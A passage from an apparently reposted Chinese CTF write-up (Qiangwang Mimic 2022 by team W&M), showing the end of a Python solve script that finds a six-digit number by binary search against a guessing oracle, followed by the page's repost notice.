                return 0
        def guessNumber():
            left =  100000
            right = 999999
            while left <= right:
                mid = left + (right - left) // 2
                result = guess(mid)
                print(left,right,mid,result)
                if result == 0:
                    return mid
                elif result == 1:
                    left = mid + 1
                elif result == 3:
                    return False
                else:
                    right = mid - 1
            return -1

        print(guessNumber())
    except EOFError:
        raise
    finally:
        print("end")
        io.close()

if __name__ == '__main__':
    while 1:
        run()

原文始发于W&M:强网拟态 2022 By W&M

版权声明:admin 发表于 2022年11月7日 上午8:12。
转载请注明:强网拟态 2022 By W&M | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...